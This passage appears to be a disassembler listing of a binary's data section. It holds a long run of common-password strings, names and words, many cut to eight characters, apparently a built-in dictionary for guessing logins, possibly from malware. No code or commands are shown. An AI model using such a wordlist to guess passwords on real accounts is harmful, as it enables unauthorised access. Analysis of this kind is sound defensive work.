'pepper',0 ; DATA XREF: .data:0042B6E0o align 4 aPeoria db 'peoria',0 ; DATA XREF: .data:0042B6DCo align 4 aPentium db 'pentium',0 ; DATA XREF: .data:0042B6D8o aPenthous db 'penthous',0 ; DATA XREF: .data:0042B6D4o align 4 aPentagra db 'pentagra',0 ; DATA XREF: .data:0042B6D0o align 4 aPentagon db 'pentagon',0 ; DATA XREF: .data:0042B6CCo align 10h aPenname db 'penname',0 ; DATA XREF: .data:0042B6C8o aPenis db 'penis',0 ; DATA XREF: .data:0042B6C4o align 10h aPenguin db 'penguin',0 ; DATA XREF: .data:0042B6C0o aPenelope db 'penelope',0 ; DATA XREF: .data:0042B6BCo align 4 aPencil db 'pencil',0 ; DATA XREF: .data:0042B6B8o align 4 aPecker db 'pecker',0 ; DATA XREF: .data:0042B6B4o align 4 aPeanuts db 'peanuts',0 ; DATA XREF: .data:0042B6B0o aPaula db 'paula',0 ; DATA XREF: .data:0042B6ACo align 4 aPatty db 'patty',0 ; DATA XREF: .data:0042B6A8o align 4 aPatriot db 'patriot',0 ; DATA XREF: .data:0042B6A4o aPatricia db 'patricia',0 ; DATA XREF: .data:0042B6A0o align 10h aPaste db 'paste',0 ; DATA XREF: .data:0042B69Co align 4 aPassphra db 'passphra',0 ; DATA XREF: .data:0042B698o align 4 aPascal db 'pascal',0 ; DATA XREF: .data:0042B694o align 4 aPapers db 'papers',0 ; DATA XREF: .data:0042B690o align 4 aPaper db 'paper',0 ; DATA XREF: .data:0042B68Co align 4 aPapa db 'papa',0 ; DATA XREF: .data:0042B688o align 4 aPamela db 'pamela',0 ; DATA XREF: .data:0042B684o align 4 aPakistan db 'pakistan',0 ; DATA XREF: .data:0042B680o align 4 aPaint db 'paint',0 ; DATA XREF: .data:0042B67Co align 10h aPainless db 'painless',0 ; DATA XREF: .data:0042B678o align 4 aPacker db 'packer',0 ; DATA XREF: .data:0042B674o align 4 aPackard db 'packard',0 ; DATA XREF: .data:0042B670o aPacific db 'pacific',0 ; DATA XREF: .data:0042B66Co aOxford db 'oxford',0 ; DATA XREF: .data:0042B668o align 4 aOutside db 'outside',0 ; DATA XREF: .data:0042B664o aOutput db 'output',0 ; DATA XREF: .data:0042B660o align 4 aOutlaw db 'outlaw',0 ; DATA XREF: .data:0042B65Co align 4 aOutdoors db 'outdoors',0 ; DATA XREF: .data:0042B658o align 10h aOsiris db 'osiris',0 ; DATA XREF: .data:0042B654o align 4 aOscar db 'oscar',0 ; DATA XREF: .data:0042B650o align 10h aOrwell db 'orwell',0 ; DATA XREF: .data:0042B64Co align 4 aOrient db 'orient',0 ; DATA XREF: .data:0042B648o align 10h aOrca db 'orca',0 ; DATA XREF: .data:0042B644o align 4 aOperator db 'operator',0 ; DATA XREF: .data:0042B640o align 4 aOpensesa db 'opensesa',0 ; DATA XREF: .data:0042B63Co align 10h aOpenlock db 'openlock',0 ; DATA XREF: .data:0042B638o align 4 aOpening db 'opening',0 ; DATA XREF: .data:0042B634o aOmega db 'omega',0 ; DATA XREF: .data:0042B62Co align 4 aOlivia db 'olivia',0 ; DATA XREF: .data:0042B628o align 4 aOlivetti db 'olivetti',0 ; DATA XREF: .data:0042B624o align 10h aOldage db 'oldage',0 ; DATA XREF: .data:0042B620o align 4 aOkay db 'okay',0 ; DATA XREF: .data:0042B61Co align 10h aOffice db 'office',0 ; DATA XREF: .data:0042B618o align 4 aOcelot db 'ocelot',0 ; DATA XREF: .data:0042B614o align 10h aOceanogr db 'oceanogr',0 ; DATA XREF: .data:0042B610o align 4 aObscurit db 'obscurit',0 ; DATA XREF: .data:0042B60Co align 4 aNyquist db 'nyquist',0 ; DATA XREF: .data:0042B608o aNuts db 'nuts',0 ; DATA XREF: .data:0042B604o align 4 aNutritio db 'nutritio',0 ; DATA XREF: .data:0042B600o align 4 aNumber db 'number',0 ; DATA XREF: .data:0042B5FCo align 4 aNull_0 db 'null',0 ; DATA XREF: .data:0042B5F8o align 4 aNukem db 'nukem',0 ; DATA XREF: .data:0042B5F4o align 4 aNuke db 'nuke',0 ; DATA XREF: .data:0042B5F0o align 4 aNude db 'nude',0 ; DATA XREF: .data:0042B5ECo align 4 aNuclear db 'nuclear',0 ; DATA XREF: .data:0042B5E8o aNoxious db 'noxious',0 ; DATA XREF: .data:0042B5E4o aNovember db 'november',0 ; DATA XREF: .data:0042B5E0o align 4 aNovel db 'novel',0 ; DATA XREF: .data:0042B5DCo align 10h aNova db 'nova',0 ; DATA XREF: .data:0042B5D8o align 4 aNoth db 'noth',0 ; DATA XREF: .data:0042B5D4o align 10h aNotes db 'notes',0 ; DATA XREF: .data:0042B5D0o align 4 aNoreen db 'noreen',0 ; DATA XREF: .data:0042B5CCo align 10h aNode db 'node',0 ; DATA XREF: .data:0042B5C8o align 4 aNobody db 'nobody',0 ; DATA XREF: .data:0042B5C4o align 10h aNoble db 'noble',0 ; DATA XREF: .data:0042B5C0o align 4 aNnaacp db 'nnaacp',0 ; DATA XREF: .data:0042B5BCo align 10h aNita db 'nita',0 ; DATA XREF: .data:0042B5B8o align 4 aNintendo db 'nintendo',0 ; DATA XREF: .data:0042B5B4o align 4 aNightmar db 'nightmar',0 ; DATA XREF: .data:0042B5B0o align 10h aNight db 'night',0 ; DATA XREF: .data:0042B5ACo align 4 aNicotine db 'nicotine',0 ; DATA XREF: .data:0042B5A8o align 4 aNicole db 'nicole',0 ; DATA XREF: .data:0042B5A4o align 4 aNice db 'nice',0 ; DATA XREF: .data:0042B5A0o align 4 aNext db 'next',0 ; DATA XREF: .data:0042B59Co align 4 aNewyork db 'newyork',0 ; DATA XREF: .data:0042B598o aNewton db 'newton',0 ; DATA XREF: .data:0042B594o align 4 aNewsgrou db 'newsgrou',0 ; DATA XREF: .data:0042B590o align 4 aNews db 'news',0 ; DATA XREF: .data:0042B58Co align 10h aNewborn db 'newborn',0 ; DATA XREF: .data:0042B588o aNetwork_0 db 'network',0 ; DATA XREF: .data:0042B584o aNetscape db 'netscape',0 ; DATA XREF: .data:0042B580o align 4 aNess db 'ness',0 ; DATA XREF: .data:0042B57Co align 4 aNeptune db 'neptune',0 ; DATA XREF: .data:0042B578o aNepenthe db 'nepenthe',0 ; DATA XREF: .data:0042B574o align 4 aNavy db 'navy',0 ; DATA XREF: .data:0042B570o align 10h aNasa db 'nasa',0 ; DATA XREF: .data:0042B56Co align 4 aNapoleon db 'napoleon',0 ; DATA XREF: .data:0042B568o align 4 aNancy db 'nancy',0 ; DATA XREF: .data:0042B564o align 4 aName db 'name',0 ; DATA XREF: .data:0042B560o align 4 aNagel db 'nagel',0 ; DATA XREF: .data:0042B55Co align 4 aMutant db 'mutant',0 ; DATA XREF: .data:0042B558o align 4 aMuppets db 'muppets',0 ; DATA XREF: .data:0042B554o aMsdos db 'msdos',0 ; DATA XREF: .data:0042B550o align 4 aMpeg db 'mpeg',0 ; DATA XREF: .data:0042B54Co align 4 aMozart db 'mozart',0 ; DATA XREF: .data:0042B548o align 4 aMovies db 'movies',0 ; DATA XREF: .data:0042B544o align 4 aMovie db 'movie',0 ; DATA XREF: .data:0042B540o align 4 aMove db 'move',0 ; DATA XREF: .data:0042B53Co align 4 aMouse db 'mouse',0 ; DATA XREF: .data:0042B538o align 4 aMountain db 'mountain',0 ; DATA XREF: .data:0042B534o align 10h aMosaic db 'mosaic',0 ; DATA XREF: .data:0042B530o align 4 aMortgage db 'mortgage',0 ; DATA XREF: .data:0042B52Co align 4 aMortalco db 'mortalco',0 ; DATA XREF: .data:0042B528o align 10h aMortal db 'mortal',0 ; DATA XREF: .data:0042B524o align 4 aMorris db 'morris',0 ; DATA XREF: .data:0042B520o align 10h aMorley db 'morley',0 ; DATA XREF: .data:0042B51Co align 4 aMore db 'more',0 ; DATA XREF: .data:0042B518o align 10h aMoose db 'moose',0 ; DATA XREF: .data:0042B514o align 4 aMoor db 'moor',0 ; DATA XREF: .data:0042B510o align 10h aMoom db 'moom',0 ; DATA XREF: .data:0042B50Co align 4 aMonica db 'monica',0 ; DATA XREF: .data:0042B508o align 10h aMonday db 'monday',0 ; DATA XREF: .data:0042B504o align 4 aMoguls db 'moguls',0 ; DATA XREF: .data:0042B500o align 10h aMogul db 'mogul',0 ; DATA XREF: .data:0042B4FCo align 4 aModem db 'modem',0 ; DATA XREF: .data:0042B4F8o align 10h aMode db 'mode',0 ; DATA XREF: .data:0042B4F4o align 4 aMkii db 'mkii',0 ; DATA XREF: .data:0042B4F0o align 10h aMission db 'mission',0 ; DATA XREF: .data:0042B4ECo aMisfit db 'misfit',0 ; DATA XREF: .data:0042B4E8o align 10h aMinsky db 'minsky',0 ; DATA XREF: .data:0042B4E4o align 4 aMinimum db 'minimum',0 ; DATA XREF: .data:0042B4E0o aMine db 'mine',0 ; DATA XREF: .data:0042B4DCo align 4 aMike db 'mike',0 ; DATA XREF: .data:0042B4D8o align 10h aMidieval db 'midieval',0 ; DATA XREF: .data:0042B4D4o align 4 aMicrosof db 'microsof',0 ; DATA XREF: .data:0042B4D0o align 4 aMicropro db 'micropro',0 ; DATA XREF: .data:0042B4CCo align 4 aMicrochi db 'microchi',0 ; DATA XREF: .data:0042B4C8o align 10h aMicro db 'micro',0 ; DATA XREF: .data:0042B4C4o align 4 aMickey db 'mickey',0 ; DATA XREF: .data:0042B4C0o align 10h aMichelle db 'michelle',0 ; DATA XREF: .data:0042B4BCo align 4 aMichele db 'michele',0 ; DATA XREF: .data:0042B4B8o aMichelan db 'michelan',0 ; DATA XREF: .data:0042B4B4o align 10h aMichel db 'michel',0 ; DATA XREF: .data:0042B4B0o align 4 aMichael db 'michael',0 ; DATA XREF: .data:0042B4ACo aMice db 'mice',0 ; DATA XREF: .data:0042B4A8o align 4 aMets db 'mets',0 ; DATA XREF: .data:0042B4A4o align 10h aMetalica db 'metalica',0 ; DATA XREF: .data:0042B4A0o align 4 aMetalhea db 'metalhea',0 ; DATA XREF: .data:0042B49Co align 4 aMetal db 'metal',0 ; DATA XREF: .data:0042B498o align 10h aMerlin db 'merlin',0 ; DATA XREF: .data:0042B494o align 4 aMercury db 'mercury',0 ; DATA XREF: .data:0042B490o aMenu db 'menu',0 ; DATA XREF: .data:0042B48Co align 4 aMenace db 'menace',0 ; DATA XREF: .data:0042B488o align 10h aMemory db 'memory',0 ; DATA XREF: .data:0042B484o align 4 aMember db 'member',0 ; DATA XREF: .data:0042B480o align 10h aMelrose db 'melrose',0 ; DATA XREF: .data:0042B47Co aMellon db 'mellon',0 ; DATA XREF: .data:0042B478o align 10h aMelissa db 'melissa',0 ; DATA XREF: .data:0042B474o aMegan db 'megan',0 ; DATA XREF: .data:0042B470o align 10h aMegadeth db 'megadeth',0 ; DATA XREF: .data:0042B46Co align 4 aMegabyte db 'megabyte',0 ; DATA XREF: .data:0042B468o align 4 aMeagan db 'meagan',0 ; DATA XREF: .data:0042B464o align 10h aMaurice db 'maurice',0 ; DATA XREF: .data:0042B460o aMath db 'math',0 ; DATA XREF: .data:0042B45Co align 10h aMaster db 'master',0 ; DATA XREF: .data:0042B458o align 4 aMason db 'mason',0 ; DATA XREF: .data:0042B454o align 10h aMary db 'mary',0 ; DATA XREF: .data:0042B450o align 4 aMarvin db 'marvin',0 ; DATA XREF: .data:0042B44Co align 10h aMarty db 'marty',0 ; DATA XREF: .data:0042B448o align 4 aMars db 'mars',0 ; DATA XREF: .data:0042B444o align 10h aMarriage db 'marriage',0 ; DATA XREF: .data:0042B440o align 4 aMarni db 'marni',0 ; DATA XREF: .data:0042B43Co align 4 aMarkus db 'markus',0 ; DATA XREF: .data:0042B438o align 4 aMark db 'mark',0 ; DATA XREF: .data:0042B434o align 4 aMarines db 'marines',0 ; DATA XREF: .data:0042B430o aMarijuan db 'marijuan',0 ; DATA XREF: .data:0042B42Co align 4 aMarietta db 'marietta',0 ; DATA XREF: .data:0042B428o align 4 aMariens db 'mariens',0 ; DATA XREF: .data:0042B424o aMaria db 'maria',0 ; DATA XREF: .data:0042B420o align 4 aMarcy db 'marcy',0 ; DATA XREF: .data:0042B41Co align 4 aMarci db 'marci',0 ; DATA XREF: .data:0042B418o align 4 aMara db 'mara',0 ; DATA XREF: .data:0042B414o align 4 aManager db 'manager',0 ; DATA XREF: .data:0042B410o aMana db 'mana',0 ; DATA XREF: .data:0042B40Co align 4 aMalcom db 'malcom',0 ; DATA XREF: .data:0042B408o align 4 aMalcolm db 'malcolm',0 ; DATA XREF: .data:0042B404o aMaint db 'maint',0 ; DATA XREF: .data:0042B400o align 4 aMail db 'mail',0 ; DATA XREF: .data:0042B3FCo align 4 aMagnet db 'magnet',0 ; DATA XREF: .data:0042B3F8o align 4 aMagic db 'magic',0 ; DATA XREF: .data:0042B3F4o align 4 aMaggot db 'maggot',0 ; DATA XREF: .data:0042B3F0o align 4 aMacro db 'macro',0 ; DATA XREF: .data:0042B3ECo align 4 aMack db 'mack',0 ; DATA XREF: .data:0042B3E8o align 4 aMacintos db 'macintos',0 ; DATA XREF: .data:0042B3E4o align 10h aMachine db 'machine',0 ; DATA XREF: .data:0042B3E0o aLynne db 'lynne',0 ; DATA XREF: .data:0042B3DCo align 10h aLynn db 'lynn',0 ; DATA XREF: .data:0042B3D8o align 4 aLust db 'lust',0 ; DATA XREF: .data:0042B3D4o align 10h aLuke db 'luke',0 ; DATA XREF: .data:0042B3D0o align 4 aLude db 'lude',0 ; DATA XREF: .data:0042B3CCo align 10h aLucy db 'lucy',0 ; DATA XREF: .data:0042B3C8o align 4 aLucus db 'lucus',0 ; DATA XREF: .data:0042B3C4o align 10h aLuck db 'luck',0 ; DATA XREF: .data:0042B3C0o align 4 aLover db 'lover',0 ; DATA XREF: .data:0042B3BCo align 10h aLovebug db 'lovebug',0 ; DATA XREF: .data:0042B3B8o aLouis db 'louis',0 ; DATA XREF: .data:0042B3B4o align 10h aLoser db 'loser',0 ; DATA XREF: .data:0042B3B0o align 4 aLorraine db 'lorraine',0 ; DATA XREF: .data:0042B3ACo align 4 aLorin db 'lorin',0 ; DATA XREF: .data:0042B3A8o align 4 aLori db 'lori',0 ; DATA XREF: .data:0042B3A4o align 4 aLore db 'lore',0 ; DATA XREF: .data:0042B3A0o align 4 aLoose db 'loose',0 ; DATA XREF: .data:0042B39Co align 4 aLolopc db 'lolopc',0 ; DATA XREF: .data:0042B398o align 4 aLois db 'lois',0 ; DATA XREF: .data:0042B394o align 4 aLogout db 'logout',0 ; DATA XREF: .data:0042B390o align 4 aLoginwor db 'loginwor',0 ; DATA XREF: .data:0042B38Co align 4 aLogic db 'logic',0 ; DATA XREF: .data:0042B388o align 10h aLockword db 'lockword',0 ; DATA XREF: .data:0042B384o align 4 aLockout db 'lockout',0 ; DATA XREF: .data:0042B380o aLock db 'lock',0 ; DATA XREF: .data:0042B37Co align 4 aLoad db 'load',0 ; DATA XREF: .data:0042B378o align 4 aLive db 'live',0 ; DATA XREF: .data:0042B374o align 4 aLiteratu db 'literatu',0 ; DATA XREF: .data:0042B370o align 4 aLisp db 'lisp',0 ; DATA XREF: .data:0042B36Co align 10h aLisa db 'lisa',0 ; DATA XREF: .data:0042B368o align 4 aLips db 'lips',0 ; DATA XREF: .data:0042B364o align 10h aLion db 'lion',0 ; DATA XREF: .data:0042B360o align 4 aLink db 'link',0 ; DATA XREF: .data:0042B35Co align 10h aLinda db 'linda',0 ; DATA XREF: .data:0042B358o align 4 aLimited db 'limited',0 ; DATA XREF: .data:0042B354o aLimbaugh db 'limbaugh',0 ; DATA XREF: .data:0042B350o align 4 aLima db 'lima',0 ; DATA XREF: .data:0042B34Co align 4 aLightsab db 'lightsab',0 ; DATA XREF: .data:0042B348o align 10h aLight db 'light',0 ; DATA XREF: .data:0042B344o align 4 aLife db 'life',0 ; DATA XREF: .data:0042B340o align 10h aLicker db 'licker',0 ; DATA XREF: .data:0042B33Co align 4 aLick db 'lick',0 ; DATA XREF: .data:0042B338o align 10h aLibrary db 'library',0 ; DATA XREF: .data:0042B334o aLiberal db 'liberal',0 ; DATA XREF: .data:0042B330o aLexluthe db 'lexluthe',0 ; DATA XREF: .data:0042B32Co align 4 aLewis db 'lewis',0 ; DATA XREF: .data:0042B328o align 4 aLetmein db 'letmein',0 ; DATA XREF: .data:0042B324o aLeslie db 'leslie',0 ; DATA XREF: .data:0042B320o align 4 aLesbian db 'lesbian',0 ; DATA XREF: .data:0042B31Co aLeroy db 'leroy',0 ; DATA XREF: .data:0042B318o align 4 aLeland db 'leland',0 ; DATA XREF: .data:0042B314o align 4 aLegal db 'legal',0 ; DATA XREF: .data:0042B310o align 4 aLeftwing db 'leftwing',0 ; DATA XREF: .data:0042B30Co align 10h aLeft db 'left',0 ; DATA XREF: .data:0042B308o align 4 aLebesgue db 'lebesgue',0 ; DATA XREF: .data:0042B304o align 4 aLeah db 'leah',0 ; DATA XREF: .data:0042B300o align 4 aLazer db 'lazer',0 ; DATA XREF: .data:0042B2FCo align 4 aLazarus db 'lazarus',0 ; DATA XREF: .data:0042B2F8o aLava db 'lava',0 ; DATA XREF: .data:0042B2F4o align 4 aLaura db 'laura',0 ; DATA XREF: .data:0042B2F0o align 4 aLaser db 'laser',0 ; DATA XREF: .data:0042B2ECo align 4 aLarry db 'larry',0 ; DATA XREF: .data:0042B2E8o align 4 aLarkin db 'larkin',0 ; DATA XREF: .data:0042B2E4o align 4 aLara db 'lara',0 ; DATA XREF: .data:0042B2E0o align 4 aLaptop db 'laptop',0 ; DATA XREF: .data:0042B2DCo align 4 aLana db 'lana',0 ; DATA XREF: .data:0042B2D8o align 4 aLaminati db 'laminati',0 ; DATA XREF: .data:0042B2D4o align 4 aLambda db 'lambda',0 ; DATA XREF: .data:0042B2D0o align 10h aLakers db 'lakers',0 ; DATA XREF: .data:0042B2CCo align 4 aLadle db 'ladle',0 ; DATA XREF: .data:0042B2C8o align 10h aLadies db 'ladies',0 ; DATA XREF: .data:0042B2C4o align 4 aKristy db 'kristy',0 ; DATA XREF: .data:0042B2C0o align 10h aKristine db 'kristine',0 ; DATA XREF: .data:0042B2BCo align 4 aKristin db 'kristin',0 ; DATA XREF: .data:0042B2B8o aKristie db 'kristie',0 ; DATA XREF: .data:0042B2B4o aKristi db 'kristi',0 ; DATA XREF: .data:0042B2B0o align 4 aKristen db 'kristen',0 ; DATA XREF: .data:0042B2ACo aKrista db 'krista',0 ; DATA XREF: .data:0042B2A8o align 4 aKnown db 'known',0 ; DATA XREF: .data:0042B2A4o align 4 aKnightma db 'knightma',0 ; DATA XREF: .data:0042B2A0o align 4 aKnight db 'knight',0 ; DATA XREF: .data:0042B29Co align 10h aKnife db 'knife',0 ; DATA XREF: .data:0042B298o align 4 aKlingon db 'klingon',0 ; DATA XREF: .data:0042B294o aKitten db 'kitten',0 ; DATA XREF: .data:0042B290o align 4 aKissmyas db 'kissmyas',0 ; DATA XREF: .data:0042B28Co align 4 aKiss db 'kiss',0 ; DATA XREF: .data:0042B288o align 4 aKirkland db 'kirkland',0 ; DATA XREF: .data:0042B284o align 4 aKirk db 'kirk',0 ; DATA XREF: .data:0042B280o align 10h aKing db 'king',0 ; DATA XREF: .data:0042B27Co align 4 aKimberly db 'kimberly',0 ; DATA XREF: .data:0042B278o align 4 aKilo db 'kilo',0 ; DATA XREF: .data:0042B274o align 4 aKillthem db 'killthem',0 ; DATA XREF: .data:0042B270o align 4 aKill db 'kill',0 ; DATA XREF: .data:0042B26Co align 10h aKids db 'kids',0 ; DATA XREF: .data:0042B268o align 4 aKeyword db 'keyword',0 ; DATA XREF: .data:0042B264o aKeyin db 'keyin',0 ; DATA XREF: .data:0042B260o align 4 aKeybord db 'keybord',0 ; DATA XREF: .data:0042B25Co aKewl db 'kewl',0 ; DATA XREF: .data:0042B258o align 4 aKevin db 'kevin',0 ; DATA XREF: .data:0042B254o align 10h aKerry db 'kerry',0 ; DATA XREF: .data:0042B250o align 4 aKerrie db 'kerrie',0 ; DATA XREF: .data:0042B24Co align 10h aKerri db 'kerri',0 ; DATA XREF: .data:0042B248o align 4 aKernel db 'kernel',0 ; DATA XREF: .data:0042B244o align 10h aKermit db 'kermit',0 ; DATA XREF: .data:0042B240o align 4 aKeri db 'keri',0 ; DATA XREF: .data:0042B23Co align 10h aKelly db 'kelly',0 ; DATA XREF: .data:0042B238o align 4 aKatrina db 'katrina',0 ; DATA XREF: .data:0042B234o aKatina db 'katina',0 ; DATA XREF: .data:0042B230o align 4 aKathy db 'kathy',0 ; DATA XREF: .data:0042B22Co align 10h aKathrine db 'kathrine',0 ; DATA XREF: .data:0042B228o align 4 aKathleen db 'kathleen',0 ; DATA XREF: .data:0042B224o align 4 aKate db 'kate',0 ; DATA XREF: .data:0042B220o align 10h aKatana db 'katana',0 ; DATA XREF: .data:0042B21Co align 4 aKarina db 'karina',0 ; DATA XREF: .data:0042B218o align 10h aKarie db 'karie',0 ; DATA XREF: .data:0042B214o align 4 aKaren db 'karen',0 ; DATA XREF: .data:0042B210o align 10h aKaka db 'kaka',0 ; DATA XREF: .data:0042B20Co align 4 aJupiter db 'jupiter',0 ; DATA XREF: .data:0042B208o aJune db 'june',0 ; DATA XREF: .data:0042B204o align 4 aJuliet db 'juliet',0 ; DATA XREF: .data:0042B200o align 10h aJulie db 'julie',0 ; DATA XREF: .data:0042B1FCo align 4 aJulia db 'julia',0 ; DATA XREF: .data:0042B1F8o align 10h aJuicy db 'juicy',0 ; DATA XREF: .data:0042B1F4o align 4 aJuggle db 'juggle',0 ; DATA XREF: .data:0042B1F0o align 10h aJudy db 'judy',0 ; DATA XREF: .data:0042B1ECo align 4 aJudith db 'judith',0 ; DATA XREF: .data:0042B1E8o align 10h aJoyce db 'joyce',0 ; DATA XREF: .data:0042B1E4o align 4 aJournal db 'journal',0 ; DATA XREF: .data:0042B1E0o aJoshua db 'joshua',0 ; DATA XREF: .data:0042B1DCo align 4 aJoseph db 'joseph',0 ; DATA XREF: .data:0042B1D8o align 10h aJohnny db 'johnny',0 ; DATA XREF: .data:0042B1D4o align 4 aJohndoe db 'johndoe',0 ; DATA XREF: .data:0042B1D0o aJohn db 'john',0 ; DATA XREF: .data:0042B1CCo align 4 aJody db 'jody',0 ; DATA XREF: .data:0042B1C8o align 10h aJoanne db 'joanne',0 ; DATA XREF: .data:0042B1C4o align 4 aJixian db 'jixian',0 ; DATA XREF: .data:0042B1C0o align 10h aJill db 'jill',0 ; DATA XREF: .data:0042B1BCo align 4 aJewelry db 'jewelry',0 ; DATA XREF: .data:0042B1B8o aJester db 'jester',0 ; DATA XREF: .data:0042B1B4o align 4 aJessica db 'jessica',0 ; DATA XREF: .data:0042B1B0o aJerusale db 'jerusale',0 ; DATA XREF: .data:0042B1ACo align 4 aJerry db 'jerry',0 ; DATA XREF: .data:0042B1A8o align 4 aJenny db 'jenny',0 ; DATA XREF: .data:0042B1A4o align 4 aJennifer db 'jennifer',0 ; DATA XREF: .data:0042B1A0o align 4 aJenni db 'jenni',0 ; DATA XREF: .data:0042B19Co align 10h aJeff db 'jeff',0 ; DATA XREF: .data:0042B198o align 4 aJeanne db 'jeanne',0 ; DATA XREF: .data:0042B194o align 10h aJean db 'jean',0 ; DATA XREF: .data:0042B190o align 4 aJazz db 'jazz',0 ; DATA XREF: .data:0042B18Co align 10h aJava db 'java',0 ; DATA XREF: .data:0042B188o align 4 aJasmin db 'jasmin',0 ; DATA XREF: .data:0042B184o align 10h aJapan db 'japan',0 ; DATA XREF: .data:0042B180o align 4 aJanie db 'janie',0 ; DATA XREF: .data:0042B17Co align 10h aJanice db 'janice',0 ; DATA XREF: .data:0042B178o align 4 aJanet db 'janet',0 ; DATA XREF: .data:0042B174o align 10h aJane db 'jane',0 ; DATA XREF: .data:0042B170o align 4 aJail db 'jail',0 ; DATA XREF: .data:0042B16Co align 10h aJackie db 'jackie',0 ; DATA XREF: .data:0042B168o align 4 aIsis db 'isis',0 ; DATA XREF: .data:0042B164o align 10h aIrishman db 'irishman',0 ; DATA XREF: .data:0042B160o align 4 aIrene db 'irene',0 ; DATA XREF: .data:0042B15Co align 4 aInvent db 'invent',0 ; DATA XREF: .data:0042B158o align 4 aInteger db 'integer',0 ; DATA XREF: .data:0042B154o aInside db 'inside',0 ; DATA XREF: .data:0042B150o align 4 aInput db 'input',0 ; DATA XREF: .data:0042B14Co align 4 aInnocuou db 'innocuou',0 ; DATA XREF: .data:0042B148o align 10h aInna db 'inna',0 ; DATA XREF: .data:0042B144o align 4 aIngrid db 'ingrid',0 ; DATA XREF: .data:0042B140o align 10h aIngress db 'ingress',0 ; DATA XREF: .data:0042B13Co aIngres db 'ingres',0 ; DATA XREF: .data:0042B138o align 10h aIndians db 'indians',0 ; DATA XREF: .data:0042B134o aIndiana db 'indiana',0 ; DATA XREF: .data:0042B130o aIndian db 'indian',0 ; DATA XREF: .data:0042B12Co align 4 aIndia db 'india',0 ; DATA XREF: .data:0042B128o align 10h aInclude db 'include',0 ; DATA XREF: .data:0042B124o aImperial db 'imperial',0 ; DATA XREF: .data:0042B120o align 4 aImmortal db 'immortal',0 ; DATA XREF: .data:0042B11Co align 10h aImbrogli db 'imbrogli',0 ; DATA XREF: .data:0042B118o align 4 aImage db 'image',0 ; DATA XREF: .data:0042B114o align 4 aIllumina db 'illumina',0 ; DATA XREF: .data:0042B110o align 10h aIcecream db 'icecream',0 ; DATA XREF: .data:0042B10Co align 4 aHypertxt db 'hypertxt',0 ; DATA XREF: .data:0042B108o align 4 aHyper db 'hyper',0 ; DATA XREF: .data:0042B104o align 10h aHydrogen db 'hydrogen',0 ; DATA XREF: .data:0042B100o align 4 aHutchins db 'hutchins',0 ; DATA XREF: .data:0042B0FCo align 4 aHunter db 'hunter',0 ; DATA XREF: .data:0042B0F8o align 10h aHunt db 'hunt',0 ; DATA XREF: .data:0042B0F4o align 4 aHttp_0 db 'http',0 ; DATA XREF: .data:0042B0F0o align 10h aHotel db 'hotel',0 ; DATA XREF: .data:0042B0ECo align 4 aHotdog db 'hotdog',0 ; DATA XREF: .data:0042B0E8o align 10h aHost db 'host',0 ; DATA XREF: .data:0042B0E4o align 4 aHorus db 'horus',0 ; DATA XREF: .data:0042B0E0o align 10h aHorse db 'horse',0 ; DATA XREF: .data:0042B0DCo align 4 aHorror db 'horror',0 ; DATA XREF: .data:0042B0D8o align 10h aHorrible db 'horrible',0 ; DATA XREF: .data:0042B0D4o align 4 aHorny db 'horny',0 ; DATA XREF: .data:0042B0D0o align 4 aHooters db 'hooters',0 ; DATA XREF: .data:0042B0CCo aHooker db 'hooker',0 ; DATA XREF: .data:0042B0C8o align 4 aHoney db 'honey',0 ; DATA XREF: .data:0042B0C4o align 4 aHomework db 'homework',0 ; DATA XREF: .data:0042B0C0o align 4 aHomer db 'homer',0 ; DATA XREF: .data:0042B0BCo align 10h aHomepage db 'homepage',0 ; DATA XREF: .data:0042B0B8o align 4 aHollywoo db 'hollywoo',0 ; DATA XREF: .data:0042B0B4o align 4 aHolly db 'holly',0 ; DATA XREF: .data:0042B0B0o align 10h aHole db 'hole',0 ; DATA XREF: .data:0042B0ACo align 4 aHits db 'hits',0 ; DATA XREF: .data:0042B0A8o align 10h aHitler db 'hitler',0 ; DATA XREF: .data:0042B0A4o align 4 aHighland db 'highland',0 ; DATA XREF: .data:0042B0A0o align 4 aHigh db 'high',0 ; DATA XREF: .data:0042B09Co align 4 aHidden db 'hidden',0 ; DATA XREF: .data:0042B098o align 4 aHibernia db 'hibernia',0 ; DATA XREF: .data:0042B094o align 10h aHiawatha db 'hiawatha',0 ; DATA XREF: .data:0042B090o align 4 aHexadeci db 'hexadeci',0 ; DATA XREF: .data:0042B08Co align 4 aHewlett db 'hewlett',0 ; DATA XREF: .data:0042B088o aHeroin db 'heroin',0 ; DATA XREF: .data:0042B084o align 4 aHero db 'hero',0 ; DATA XREF: .data:0042B080o align 10h aHerbert db 'herbert',0 ; DATA XREF: .data:0042B07Co aHerb db 'herb',0 ; DATA XREF: .data:0042B078o align 10h aHelp db 'help',0 ; DATA XREF: .data:0042B074o align 4 aHello db 'hello',0 ; DATA XREF: .data:0042B070o align 10h aHell db 'hell',0 ; DATA XREF: .data:0042B06Co align 4 aHeinlein db 'heinlein',0 ; DATA XREF: .data:0042B068o align 4 aHeidi db 'heidi',0 ; DATA XREF: .data:0042B064o align 4 aHebrides db 'hebrides',0 ; DATA XREF: .data:0042B060o align 4 aHeather db 'heather',0 ; DATA XREF: .data:0042B05Co aHeathen db 'heathen',0 ; DATA XREF: .data:0042B058o aHeat db 'heat',0 ; DATA XREF: .data:0042B054o align 10h aHeadbang db 'headbang',0 ; DATA XREF: .data:0042B050o align 4 aHead db 'head',0 ; DATA XREF: .data:0042B04Co align 4 aHawaii db 'hawaii',0 ; DATA XREF: .data:0042B048o align 4 aHaven db 'haven',0 ; DATA XREF: .data:0042B044o align 4 aHate db 'hate',0 ; DATA XREF: .data:0042B040o align 4 aHarvey db 'harvey',0 ; DATA XREF: .data:0042B03Co align 4 aHarold db 'harold',0 ; DATA XREF: .data:0042B038o align 4 aHarmony db 'harmony',0 ; DATA XREF: .data:0042B034o aHarddriv db 'harddriv',0 ; DATA XREF: .data:0042B030o align 10h aHardcore db 'hardcore',0 ; DATA XREF: .data:0042B02Co align 4 aHard db 'hard',0 ; DATA XREF: .data:0042B028o align 4 aHappenin db 'happenin',0 ; DATA XREF: .data:0042B024o align 10h aHandjob db 'handjob',0 ; DATA XREF: .data:0042B020o aHandily db 'handily',0 ; DATA XREF: .data:0042B01Co aHandel db 'handel',0 ; DATA XREF: .data:0042B018o align 4 aHamster db 'hamster',0 ; DATA XREF: .data:0042B014o aHamlet db 'hamlet',0 ; DATA XREF: .data:0042B010o align 4 aHallowee db 'hallowee',0 ; DATA XREF: .data:0042B00Co align 4 aHair db 'hair',0 ; DATA XREF: .data:0042B008o align 